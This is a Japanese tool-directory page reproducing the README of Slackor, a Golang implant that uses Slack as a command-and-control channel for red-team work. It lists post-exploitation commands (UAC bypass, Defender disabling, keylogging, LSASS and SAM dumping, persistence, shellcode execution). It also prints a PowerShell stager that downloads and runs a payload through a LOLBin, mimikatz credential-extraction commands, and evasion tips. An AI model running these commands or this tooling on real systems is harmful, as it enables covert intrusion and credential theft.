Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Slackor — SlackをC2サーバーとして使用するGolang製インプラント | Kitploit
ツール/GitHubGitHub/coalfire-research/slackor
特権昇格ペイロード生成永続化メカニズム横移動シェルコードポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング
GitHubcoalfire-research/slackor

Slackor

SlackをC2サーバーとして使用するGolang製インプラント

リポジトリを見る
4601086年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Slackor

メンテナンス元: https://github.com/n00py/Slackor

Slackをコマンド&コントロールチャネルとして使用するGolang製インプラントです。

このプロジェクトはGcatとTwittorに触発されました。

Slackor スクリーンショット Wireshark スクリーンショット このツールは概念実証としてリリースされています。Slackアプリを作成する前に、Slack App Developer Policyを読んで理解してください。

セットアップ

注: サーバーはPython 3で書かれています

これを機能させるには以下が必要です:

  • Slackワークスペース
  • 以下の権限を持つアプリを登録します:
    • channels:read
    • channels:history
    • channels:write
    • files:write:user
    • files:read
  • ボットを作成する

このリポジトリには5つのファイルが含まれています:

  • install.sh - 依存関係をインストール
  • setup.py - Slackチャンネル、データベース、インプラントを作成するスクリプト
  • agent.py - 新しいインプラントを生成するスクリプト
  • server.py - Slackorサーバー(Linux上で動作するように設計)
  • agent.go - Golangインプラント
  • requirements.txt - Python依存関係(自動インストール)

開始するには:

  • go get github.com/Coalfire-Research/Slackor
  • cd $GOPATH/src/github.com/Coalfire-Research/Slackor
  • install.shを実行
  • setup.pyを実行
    • アプリからOAuth Access TokenとBot User OAuth Access Tokenを提供してください

スクリプトが正常に実行されると、dist/ディレクトリにいくつかのファイルが作成されます:

  • agent.windows.exe: Windows 64ビットバイナリ
  • agent.upx.exe: Windows 64ビットバイナリ、UPX圧縮
  • agent.darwin: macOS 64ビットバイナリ
  • agent.32.linux: Linux 32ビットバイナリ
  • agent.64.linux: Linux 64ビットバイナリ

Linuxホストでserver.pyを起動した後、ターゲットホストに適したエージェントを実行してください。

"stager"モジュールを実行して、ワンライナーや他のドロッパーを生成します。

root@kitploit:~
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

これにより、InvokeWebRequest(PS v.3+)を使用してペイロードをダウンロードし、LOLBinを使用して実行し、その後プロセスが終了すると自分自身を削除します。これは動作する例ですが、コマンドは別のダウンロード方法や実行方法に変更できます。

使用方法

"help"と入力するか、[TAB]キーを押すと利用可能なコマンドのリストが表示されます。"help [COMMAND]"と入力するとそのコマンドの説明が表示されます。

(Slackor)

  • help - ヘルプメニューを表示
  • interact - エージェントと対話
  • list - 登録済みの全エージェントを一覧表示
  • remove - エージェントを強制終了して削除
  • revive - 全エージェントにサーバーへの再登録を通知
  • stager - インプラントをダウンロードして実行するワンライナーを生成
  • quit - プログラムを終了
  • wipefiles - Slackからアップロードされたファイルをすべて削除

エージェントがチェックインしたら、対話できます。 "interact [AGENT]"を使用してエージェントプロンプトに入ります。"help"と入力するか、[TAB]キーを押すと利用可能なコマンドのリストが表示されます。

(Slackor:AGENT)

  • 共通コマンド
    • back - メインメニューに戻る
    • beacon - エージェントのチェックイン間隔を変更(デフォルトは5秒)
    • download - エージェントからSlackorサーバーにファイルをダウンロード
    • help - ヘルプメニューを表示
    • kill - エージェントを強制終了
    • sleep - エージェントを一度スリープさせる(秒数を入力)
    • sysinfo - 現在のユーザー、OSバージョン、システムアーキテクチャ、CPUコア数を表示
    • upload - Slackorサーバーからエージェントにファイルをアップロード
    • wget - HTTP/HTTPS経由で任意のファイルを取得
  • Windowsコマンド
    • bypassuac - 高整合性エージェントを起動しようとする
    • cleanup - 永続化アーティファクトを削除
    • clipboard - クリップボードの内容を取得
    • defanger - Windows Defenderを無効化しようとする
    • duplicate - エージェント自身の別のインスタンスを生成
    • getsystem - NTAUTHORITY/SYSTEMとしてエージェントを起動
    • keyscan - エージェントでキーロガーを起動
    • minidump - lsass.exeのメモリをダンプしてダウンロード
    • persist - ADSにバイナリを埋め込んで永続化を作成
    • samdump - SAMファイルをダンプしてオフラインでハッシュ抽出を試行
    • screenshot - デスクトップのスクリーンショットを撮って取得
    • shellcode - x64の生のシェルコードを実行
  • Macコマンド
  • Linuxコマンド
    • screenshot - デスクトップのスクリーンショットを撮って取得

OPSECに関する考慮事項

コマンドの出力とダウンロードされたファイルは、SlackのTLSトランスポート暗号化に加えてAESで暗号化されています。

モジュールはディスクに書き込むタスクを実行する前に警告を表示します。

シェルコマンドを実行する際、cmd.exe/bashが実行されることに注意してください。これはホスト上で監視される可能性があります。

以下はcmd.exe/bashを実行しないOPSEC上安全なコマンドです:

  • cat - ファイルの内容を表示
  • cd - ディレクトリを変更
  • find - ディレクトリ内のファイル名を検索
  • getip - 外部IPアドレスを取得(DNSリクエストを実行)
  • hostname - ホスト名を表示
  • ifconfig - インターフェース情報を表示
  • ls - ディレクトリ内容を一覧表示
  • mkdir - ディレクトリを作成
  • pwd - 現在の作業ディレクトリを表示
  • rm - ファイルを削除
  • rmdir - ディレクトリを削除
  • whoami / getuid - 現在のユーザーを表示

クレジット

  • https://github.com/EgeBalci - HERCULESおよびEGESPLOITから適応された関数
  • https://github.com/SaturnsVoid - GoBot2から適応されたキーロガー
  • https://github.com/vyrus001 - x64シェルコード実行 shellGo
  • 暗号化関数は https://www.golang123.com/topic/1686 から採用
  • 永続化のアイデアはEnigma0x3から
  • MinidumpはMerlinから採用、クレジット C-Sto
  • スクリーンショットコードはkbinaniから
  • クリップボードコードはatottoから
  • ステージャジェネレーターはhlldzから
  • UACバイパスはwinscripting.blogによる
  • Lulzbinの発見は@vector_secによる
  • StackOverflow上の無数のスレッド
  • impacketに感謝します。SAM/SYS/SECURITYレジストリハイブからハッシュをダンプするのに使用しています。
  • LSASSダンプからの資格情報抽出は、skelsecによるpypykatzを使用して可能になりました。
  • Bob Aman (Sporkmonger)による様々な追加に感謝

今後の目標

  • DOSfuscation
  • DLL/PEのリフレクティブロード - https://github.com/vyrus001/go-mimikatz
  • C#アセンブリのメモリ内実行 - https://github.com/lesnuages/go-execute-assembly
  • ソースコード難読化 - https://github.com/unixpickle/gobfuscate

FAQ:

レッドチーム/ペネトレーションテストに使用しても安全ですか?

はい、いくつかの条件下で安全です。データは転送中に暗号化されますが、エージェントには復号鍵が含まれています。エージェントのコピーを入手した者は、リバースエンジニアリングしてAPIキーやAES秘密鍵を抽出できる可能性があります。ワークスペースを侵害したりアクセスを得た者は、その中のすべてのデータを取得できます。そのため、複数の組織に対してインフラストラクチャを再利用することは推奨されません。

Mimikatzについては?

インプラントにはメモリ内のパスワードダンプ機能はありません。logonPasswordsが必要な場合は、以下を試してください:

root@kitploit:~
(Slackor: AGENT)minidump

これにより、Pypykatzを使用して自動的にパスワードが抽出されます。代替として、Windows上でMimikatzを使用できます。

root@kitploit:~
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

クロスプラットフォームですか?

制限付きのクロスプラットフォームサポートがあります。実行可能なすべてのシステムで完全にテストされているわけではありません。サーバーはKali Linuxで動作するように設計されています。エージェントはWindows、Mac、Linux用にコンパイルされていますが、主にWindows 10でテストされています。エージェントはそのプラットフォームでサポートされていないコマンドを誤って処理する可能性があります(Macでminidumpを試みないでください)。

スケーラビリティはどうですか?

スケーラビリティはSlack APIによって制限されます。複数のエージェントがいる場合、使用していないビーコンのビーコン間隔を増やすことを検討してください。

標準的なビーコン分析に対して脆弱ですか?

現在、各ビーコンには20%のジッターが組み込まれており、ビーコン時間はカスタマイズできます。エージェントのチェックイン要求と応答パケットは、新しいコマンドが受信されない限り毎回ほぼ同じサイズになります。

より良い方法[y]があるのに、なぜ[x]をしたのですか?

最善を尽くしました。PRは歓迎します :)

AVに引っかかります!

現在オープンソースになっているため、問題が発生することは避けられません。可能な限りモジュールを修正しますが、常にすべてのAVを回避できる保証はありません。

ツールをダウンロード